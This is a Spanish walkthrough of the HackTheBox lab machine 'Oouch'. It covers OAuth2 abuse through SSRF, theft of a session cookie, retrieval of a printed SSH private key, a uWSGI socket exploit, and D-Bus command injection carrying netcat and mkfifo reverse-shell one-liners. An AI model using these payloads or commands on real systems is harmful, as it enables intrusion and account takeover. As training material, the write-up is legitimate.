Oouch es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Oouch 10.10.10.183 a /etc/hosts como oouch.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
# Nmap 7.80 scan initiated Sat May 16 23:44:24 2020 as: nmap -sV -Pn -p- -oA oouch-nmap 10.10.10.177 WARNING: Service 10.10.10.177:8000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value Nmap scan report for 10.10.10.177 Host is up (0.054s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 5000/tcp open http nginx 1.14.2 8000/tcp open rtsp 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8000-TCP:V=7.80%I=7%D=5/16%Time=5EC06102%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex SF:t/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</ SF:h1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCon SF:tent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Req SF:uest\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Req SF:uest\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1 SF:>Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x2 SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization SF:\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\ SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Auth SF:orization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat May 16 23:54:22 2020 -- 1 IP address (1 host up) scanned in 597.52 seconds |
Obtenidos los puertos abiertos comenzamos enumerando los mismos.
Enumeración
Empezaremos enumerando el puerto ftp y comprobando si podemos acceder de forma anónima:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ ftp 10.10.10.177 Connected to 10.10.10.177. 220 qtc's development server Name (10.10.10.177:asdf): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt 226 Directory send OK. ftp> get project.txt local: project.txt remote: project.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for project.txt (49 bytes). 226 Transfer complete. 49 bytes received in 0.00 secs (56.7634 kB/s) ftp> |
Accedemos y descargamos el fichero existente project.txt cuyo contenido es el siguiente:
1 2 |
Flask -> Consumer Django -> Authorization Server |
En el mismo nos menciona dos aplicaciones, una basada en flask en la dirección de consumer y otra en django en la dirección de authorization, así que añadimos dichos subdominios a nuestro fichero de /etc/hosts quedando de la siguiente forma:
1 2 3 |
10.10.10.177 oouch.htb 10.10.10.177 consumer.oouch.htb 10.10.10.177 authorization.oouch.htb |
Procedemos a acceder al primer portal web, consumer, en el puerto 5000 y obtenemos la siguiente pantalla de login:
Observamos que también tenemos una pantalla de registro:
Así que nos registramos y accedemos al portal con las credenciales creadas, accediendo al siguiente portal:
Navegamos por el pero tampoco podemos descubrir demasiadas cosas al respecto, utilizamos dirb para ver si podemos conseguir más información, directorios o ficheros existentes en el mismo y descubrimos lo siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun May 17 00:58:05 2020 URL_BASE: http://10.10.10.177:5000/ WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt ----------------- GENERATED WORDS: 20458 ---- Scanning URL: http://10.10.10.177:5000/ ---- + http://10.10.10.177:5000/about (CODE:302|SIZE:247) + http://10.10.10.177:5000/contact (CODE:302|SIZE:251) + http://10.10.10.177:5000/documents (CODE:302|SIZE:255) + http://10.10.10.177:5000/home (CODE:302|SIZE:245) + http://10.10.10.177:5000/login (CODE:200|SIZE:1828) + http://10.10.10.177:5000/logout (CODE:302|SIZE:219) + http://10.10.10.177:5000/oauth (CODE:302|SIZE:247) + http://10.10.10.177:5000/profile (CODE:302|SIZE:251) + http://10.10.10.177:5000/register (CODE:200|SIZE:2109) ----------------- END_TIME: Sun May 17 01:19:18 2020 DOWNLOADED: 20458 - FOUND: 9 |
Tenemos una página de oauth donde podemos conectar con la página de autorización pero no tenemos credenciales a la misma, así que procedemos a acceder al portal en el puerto 8000 a través de la dirección creada para authorization y observamos el siguiente panel web:
Al igual que hicimos en el anterior portal, nos registramos y accedemos al mismo, obteniendo el siguiente panel:
Lanzaremos en este caso también dirb para descubrir las rutas existentes en el mismo y obtenemos el siguiente resultado:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun May 17 13:24:31 2020 URL_BASE: http://authorization.oouch.htb:8000/oauth/ WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt AUTHORIZATION: byte:asdf123. ----------------- GENERATED WORDS: 20458 ---- Scanning URL: http://authorization.oouch.htb:8000/oauth/ ---- + http://authorization.oouch.htb:8000/oauth/applications (CODE:301|SIZE:0) + http://authorization.oouch.htb:8000/oauth/authorize (CODE:301|SIZE:0) + http://authorization.oouch.htb:8000/oauth/token (CODE:301|SIZE:0) ----------------- END_TIME: Sun May 17 13:46:03 2020 DOWNLOADED: 20458 - FOUND: 3 |
Y también el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun May 17 13:49:13 2020 URL_BASE: http://authorization.oouch.htb:8000/oauth/applications/ WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt AUTHORIZATION: byte:asdf123. OPTION: Not Stopping on warning messages ----------------- GENERATED WORDS: 20458 ---- Scanning URL: http://authorization.oouch.htb:8000/oauth/applications/ ---- + http://authorization.oouch.htb:8000/oauth/applications/register (CODE:301|SIZE:0) ----------------- END_TIME: Sun May 17 14:10:38 2020 DOWNLOADED: 20458 - FOUND: 1 |
Con lo descubierto hasta el momento parece que tenemos que bypassear este método de autorización para conseguir nuestro token, así que buscamos información en google y encontramos el siguiente post donde explica bastante bien como hacer el ataque a oauth2.
Al parecer tenemos que enviar nuestra petición, que será autorizada por nuestro usuario en la web de autorización y después tendremos que hacer uso de la explotación de SSRF para poder bypassear el mecanismo y conseguir acceso con un usuario diferente que nos proporcione más permisos en la aplicación, así que procedemos a realizar el mismo.
Accederemos a la url /oauth, descubierta anteriormente, en el panel de consumer y vemos la siguiente pantalla:
Por el momento no disponemos de acceso para acceder a la sección de login así que pincharemos en la sección de connect e interceptaremos la petición con burpsuite, obteniendo una petición con el siguiente código:
1 |
GET /oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read HTTP/1.1 |
Al hacer esta peticion nos llevará a una ventana para autorizar la petición:
Autorizaremos la misma y realizará otra petición donde obtendremos el código del token:
Copiaremos el código del token y dropearemos la conexión en burpsuite, debido a que el token es de un sólo uso y si lo enviamos ya no podremos utilizarlo más.
Cogeremos el código de la petición y lo enviaremos a través de la sección de contact que vimos antes en el panel de consumer:
Realizado este paso, esperamos unos segundos y enviamos una petición a la url /oauth/login de la web de consumer, autorizamos la misma y automáticamente habremos conseguido saltarnos la restricción y entrar con el usuario qtc:
Con el cual podemos ver varios ficheros en la sección de Documents que son los siguientes:
Viendo los documentos, tenemos las claves para permitir el registro de aplicaciones así que será el siguiente paso que tendremos que realizar.
Procedemos a la uri de /oauth/applications/register/ y vemos la siguiente pantalla:
Una vez creada, y siguiendo la documentación, enviamos la petición con nuestros parámetros:
1 2 3 |
http://authorization.oouch.htb:8000/oauth/authorize/?client_id=mu0y2ub0dHxliRFL3JocahpsBFSrDact8QsMLnEq&client_secret=lmZOLgx Iq3qP7S4pj6YM9JtHl2YDHlP8TYXV5FtVDrVIH4KvDTCbQAq5vITHS74xQEqOt33doXgo0ep1nvwg9vwYSCvccllzBKlNgN8yFvV4LAsC2pSVr5yjO5EO5iIR&gra nt_type=authorization-code&redirect_uri=http://10.10.14.239:4444 |
Abrimos una escucha al puerto indicado antes de enviarla y obtenemos el siguiente error:
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nc -lvp 4444 listening on [any] 4444 ... 10.10.14.239: inverse host lookup failed: Unknown host connect to [10.10.14.239] from (UNKNOWN) [10.10.14.239] 43230 GET /?error=invalid_request&error_description=Missing+response_type+parameter. HTTP/1.1 Host: 10.10.14.239:4444 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 |
Parece que la misma no ha funcionado, así que al igual que en la anterior ocasión, enviaremos la petición desde la sección de contacto del usuario qtc en la web de consumer y obtendremos el siguiente resultado en la escucha:
1 2 3 4 5 6 7 8 9 10 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.239] from oouch.htb [10.10.10.177] 42184 GET /?error=invalid_request&error_description=Missing+response_type+parameter. HTTP/1.1 Host: 10.10.14.239:4444 User-Agent: python-requests/2.21.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Cookie: sessionid=js8lz3lzm9wphu45zsr0sn9aq8dx87zf; |
Tenemos una cookie de sesión del usuario qtc, así que volvemos al portal de authorization, editaremos las cookies del navegador (en nuestro caso, con firefox, desde el inspector del mismo) y recargaremos la página, obteniendo acceso con el usuario qtc como vemos en la siguiente captura:
A continuación, necesitaremos modificar los permisos de nuestra app para obtener las credenciales de cliente en lugar de la autorización y utilizaremos curl para conseguir nuestro token, así que construimos la url y enviamos la petición, consiguiendo el mismo:
1 2 3 |
$ curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H "Content-Type: application/x-www-form-urlencoded" --data "grant_type=client_credentials&client_id=mu0y2ub0dHxliRFL3JocahpsBFSrDact8QsMLnEq&client_secret=lmZOLgxIq3qP7S4pj6YM9JtHl2YDHlP8TYXV5FtVDrVIH4KvDTCbQAq5vITHS74xQEqOt33doXgo0ep1nvwg9vwYSCvccllzBKlNgN8yFvV4LAsC2pSVr5yjO5EO5iIR" -L -s {"access_token": "uGwYs1afnnWMyIPF1ACLO4sSVpBpkr", "expires_in": 600, "token_type": "Bearer", "scope": "read write"} |
Ya tenemos nuestro token, ahora sólo nos queda consultar en la uri de /api/get_user como vimos anteriormente en la sección de comentarios, enviamos la siguiente petición:
1 |
/api/get_user?access_token=uGwYs1afnnWMyIPF1ACLO4sSVpBpkr |
Y obtenemos la siguiente respuesta:
1 |
{"username": "qtc", "firstname": "", "lastname": "", "email": "qtc@nonexistend.nonono"} |
Tenemos los datos, pero necesitamos la clave ssh, así que enviamos la misma petición pero en lugar de a get_user a get_ssh y obtenemos en la respuesta la clave ssh del usuario qtc:
1 |
{"ssh_server": "consumer.oouch.htb", "ssh_user": "qtc", "ssh_key": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\n-----END OPENSSH PRIVATE KEY-----"} |
Obteniendo la flag de user
Obtenida la clave ssh, nos queda guardarla en un fichero, eliminar los saltos de línea y conectarnos con la misma:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ ssh -i qtc.pem qtc@10.10.10.177 The authenticity of host '10.10.10.177 (10.10.10.177)' can't be established. ED25519 key fingerprint is SHA256:6/ZyfRrDDz0w1+EniBrf/0LXg5sF4o5jYNEjjU32y8s. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.177' (ED25519) to the list of known hosts. Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun May 17 15:06:52 2020 from 10.10.14.113 qtc@oouch:~$ id uid=1000(qtc) gid=1000(qtc) groups=1000(qtc) qtc@oouch:~$ ls -l total 4 -rw------- 1 qtc qtc 33 May 17 12:23 user.txt qtc@oouch:~$ |
Y ya estamos dentro y tenemos la flag de user, ahora a por root.
Escalado de privilegios
Para el escalado de privilegios, pasamos como de costumbre varios scripts para enumerar el sistema, analizamos procesos, etc, y encontramos que docker está corriendo en la máquina y varias interfaces de red para docker:
1 2 3 4 5 6 7 8 9 10 |
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:f8:cf:e4:1a brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever 4: br-cc6c78e0c7d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:e0:26:62:ee brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-cc6c78e0c7d0 valid_lft forever preferred_lft forever inet6 fe80::42:e0ff:fe26:62ee/64 scope link valid_lft forever preferred_lft forever |
Por lo que obtenemos que hay dos rangos de red configurados para este servicio:
1 2 |
172.17.0.1/16 172.18.0.1/16 |
Verificamos en que redes disponemos de contenedores levantados y encontramos tres en total:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
qtc@oouch:~/.ssh$ telnet 172.17.0.1 22 Trying 172.17.0.1... Connected to 172.17.0.1. Escape character is '^]'. SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2 ^C Connection closed by foreign host. qtc@oouch:~/.ssh$ telnet 172.18.0.1 22 Trying 172.18.0.1... Connected to 172.18.0.1. Escape character is '^]'. SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2 ^C Connection closed by foreign host. qtc@oouch:~/.ssh$ telnet 172.18.0.3 22 Trying 172.18.0.3... Connected to 172.18.0.3. Escape character is '^]'. SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2 ^C Connection closed by foreign host. |
Aunque sólo conseguimos poder acceder a uno de ellos, el que dispone de la dirección ip 172.18.0.3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
qtc@oouch:~/.ssh$ ssh -i id_rsa qtc@172.17.0.1 qtc@172.17.0.1: Permission denied (publickey). qtc@oouch:~/.ssh$ ssh -i id_rsa qtc@172.18.0.1 qtc@172.18.0.1: Permission denied (publickey). qtc@oouch:~/.ssh$ ssh -i id_rsa qtc@172.18.0.3 The authenticity of host '172.18.0.3 (172.18.0.3)' can't be established. ED25519 key fingerprint is SHA256:ROF4hYtv6efFf0CQ80jfB60uyDobA9mVYiXVCiHlhSE. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '172.18.0.3' (ED25519) to the list of known hosts. Linux aeb4525789d8 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. qtc@aeb4525789d8:~$ id uid=1000(qtc) gid=1000(qtc) groups=1000(qtc) qtc@aeb4525789d8:~$ |
Revisamos el mismo en profundidad y encontramos un volumen montado en la ruta /code:
1 2 3 4 5 6 7 8 9 10 11 |
qtc@aeb4525789d8:/$ df -h Filesystem Size Used Avail Use% Mounted on overlay 57G 3.8G 51G 7% / tmpfs 64M 0 64M 0% /dev tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup /dev/sda1 57G 3.8G 51G 7% /code shm 64M 0 64M 0% /dev/shm tmpfs 395M 46M 350M 12% /run/dbus/system_bus_socket tmpfs 2.0G 0 2.0G 0% /proc/acpi tmpfs 2.0G 0 2.0G 0% /sys/firmware qtc@aeb4525789d8:/$ |
En el cual encontramos el código de la aplicación:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
qtc@aeb4525789d8:/code$ ls -l total 44 -rw-r--r-- 1 root root 1072 Feb 11 17:34 Dockerfile -r-------- 1 root root 568 Feb 11 17:34 authorized_keys -rw-r--r-- 1 root root 325 Feb 11 17:34 config.py -rw-r--r-- 1 root root 23 Feb 11 17:34 consumer.py -r-------- 1 root root 2602 Feb 11 17:34 key drwxr-xr-x 4 root root 4096 Feb 11 17:34 migrations -rw-r--r-- 1 root root 724 Feb 11 17:34 nginx.conf drwxr-xr-x 5 root root 4096 Feb 11 17:34 oouch -rw-r--r-- 1 root root 241 Feb 11 17:34 requirements.txt -rwxr-xr-x 1 root root 89 Feb 11 17:34 start.sh -rw-rw-rw- 1 root root 0 May 17 14:57 urls.txt -rw-r--r-- 1 root root 163 Feb 11 17:34 uwsgi.ini qtc@aeb4525789d8:/code$ |
Después de un buen rato revisando en profundidad el código encontramos una parte interesante en el fichero routes.py:
1 2 3 4 5 6 7 8 |
qtc@aeb4525789d8:/code/oouch$ cat routes.py |grep bus import dbus The contact page is required to abuse the Oauth vulnerabilities. This endpoint allows the user to send messages using a textfield. bus = dbus.SystemBus() block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') bus.close() qtc@aeb4525789d8:/code/oouch$ |
Donde se declaran varias variables para obtener objetos del bus y en el cual también tenemos a nuestra disponibilidad la interfaz utilizada.
Probamos entonces a enviar una petición para conseguir una shell al contenedor situado en la ip 172.18.0.1 pero no disponemos de permisos para ello:
1 2 3 |
qtc@aeb4525789d8:/code/oouch$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;rm /tmp/0; mkfifo /tmp/0; cat /tmp/0 | /bin/bash -i 2>&1 | nc 172.18.0.1 4444 >/tmp/0;" Error org.freedesktop.DBus.Error.AccessDenied: Rejected send message, 1 matched rules; type="method_call", sender=":1.724" (uid=1000 pid=7341 comm="dbus-send --system --print-reply --dest=htb.oouch.") interface="htb.oouch.Block" member="Block" error name="(unset)" requested_reply="0" destination="htb.oouch.Block" (uid=0 pid=2772 comm="/root/dbus-server ") |
Seguimos revisando y encontramos el fichero del socket de uwsgi en la ruta /tmp con www-data como propietario:
1 2 3 4 |
qtc@aeb4525789d8:/code/oouch$ ls -l /tmp/ total 0 srw-rw-rw- 1 www-data www-data 0 May 17 10:23 uwsgi.socket qtc@aeb4525789d8:/code/oouch$ |
Y que existen en la máquina varios procesos para el mismo:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
qtc@aeb4525789d8:/code/oouch$ ps aux|grep uwsgi www-data 29 0.0 1.1 57496 46748 ? S 10:23 0:03 uwsgi --ini uwsgi.ini --chmod-sock=666 www-data 31 0.0 1.2 70620 48804 ? S 10:23 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666 www-data 32 0.0 1.1 70296 48232 ? S 10:23 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666 www-data 33 0.0 1.1 70200 48204 ? S 10:23 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666 www-data 34 0.0 1.2 70580 48624 ? S 10:23 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666 www-data 35 0.0 1.1 70584 48232 ? S 10:23 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666 www-data 36 0.0 1.1 70200 48288 ? S 10:23 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666 www-data 37 0.0 1.2 70516 48728 ? S 10:23 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666 www-data 38 0.0 1.1 70268 48300 ? S 10:23 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666 www-data 39 0.0 1.1 70508 48476 ? S 10:23 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666 www-data 40 0.0 1.2 70584 48756 ? S 10:23 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666 qtc 115 0.0 0.0 3084 884 pts/0 S+ 15:23 0:00 grep uwsgi |
Esta podría ser una posible solución para la esperada escalada de privilegios, así que comprobamos la versión del mismo:
1 2 |
qtc@aeb4525789d8:/code/oouch$ uwsgi --version 2.0.17.1 |
Y buscamos un exploit en google para dicha versión donde encontramos un exploit en python en el siguiente repositorio de github.
Nos descargamos el mismo y lo subimos a la máquina y posteriormente al contenedor al que teníamos acceso, además de esto necesitaremos también netcat ya que el mismo no existe en la máquina así que subiremos también el binario de nc de la máquina oouch al contenedor a través de scp
1 2 3 4 |
qtc@oouch:~$ scp -i .ssh/id_rsa uwsgi_exp.py qtc@172.18.0.3:/tmp uwsgi_exp.py 100% 4334 5.5MB/s 00:00 qtc@oouch:~$ scp -i .ssh/id_rsa /usr/bin/nc qtc@172.18.0.3:/tmp nc 100% 27KB 24.2MB/s 00:00 |
Ejecutamos el mismo en el contenedor:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
qtc@aeb4525789d8:/tmp$ python uwsgi_exp.py -m unix -u /tmp/uwsgi.socket -c "/tmp/nc -e /bin/bash 172.18.0.1 4444" [*]Sending payload. Traceback (most recent call last): File "uwsgi_exp.py", line 146, in <module> main() File "uwsgi_exp.py", line 143, in main print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp')) File "uwsgi_exp.py", line 110, in curl return ask_uwsgi(addr_and_port, mode, var) File "uwsgi_exp.py", line 77, in ask_uwsgi s.send(pack_uwsgi_vars(var) + body.encode('utf8')) File "uwsgi_exp.py", line 26, in pack_uwsgi_vars pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8') File "uwsgi_exp.py", line 18, in sz if sys.version_info[0] == 3: import bytes ModuleNotFoundError: No module named 'bytes' |
Pero parece que algo no ha funcionado bien, no existe el modulo de bytes instalado en el contenedor. Nos toca entonces revisar el exploit y realizar unas modificaciones en el mismo.
Cambiaremos el siguiente código:
1 2 |
if sys.version_info[0] == 3: import bytes s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex') |
Por este otro:
1 |
s = bytes.fromhex(s) |
Y volveremos a lanzarlo:
1 2 3 4 |
qtc@aeb4525789d8:/tmp$ python uwsgi_exp.py -m unix -u /tmp/uwsgi.socket -c "/tmp/nc -e /bin/bash 172.18.0.1 4444" [*]Sending payload. qtc@aeb4525789d8:/tmp$ |
Ahora sí y vemos como nos hemos conectado al usuario www-data en nuestra escucha:
1 2 3 4 5 6 |
qtc@oouch:~$ nc -lvp 4444 listening on [any] 4444 ... 172.18.0.3: inverse host lookup failed: Host name lookup failure connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 34470 id uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Ejecutaremos ahora otra vez el comando para comunicarnos con el bus, pero en este caso, la shell la enviaremos a nuestra máquina física, en lugar de al contenedor situado en la ruta 172.18.0.1:
1 2 3 4 5 6 7 8 9 10 |
qtc@oouch:~$ nc -lvp 4444 listening on [any] 4444 ... 172.18.0.3: inverse host lookup failed: Host name lookup failure connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 34470 id uid=33(www-data) gid=33(www-data) groups=33(www-data) dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;rm /tmp/0; mkfifo /tmp/0; cat /tmp/0 | /bin/bash -i 2>&1 | nc 10.10.14.239 4455 >/tmp/0;" method return time=1589730118.221229 sender=:1.4 -> destination=:1.784 serial=3 reply_serial=2 string "Carried out :D" |
Y ahora hemos conseguido ejecutar el mismo sin problemas.
Obteniendo la flag de root
Con la comunicación realizada con el dbus, revisamos la escucha que habíamos dejado en nuestra máquina y conseguimos una shell a la máquina oouch con el usuario root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
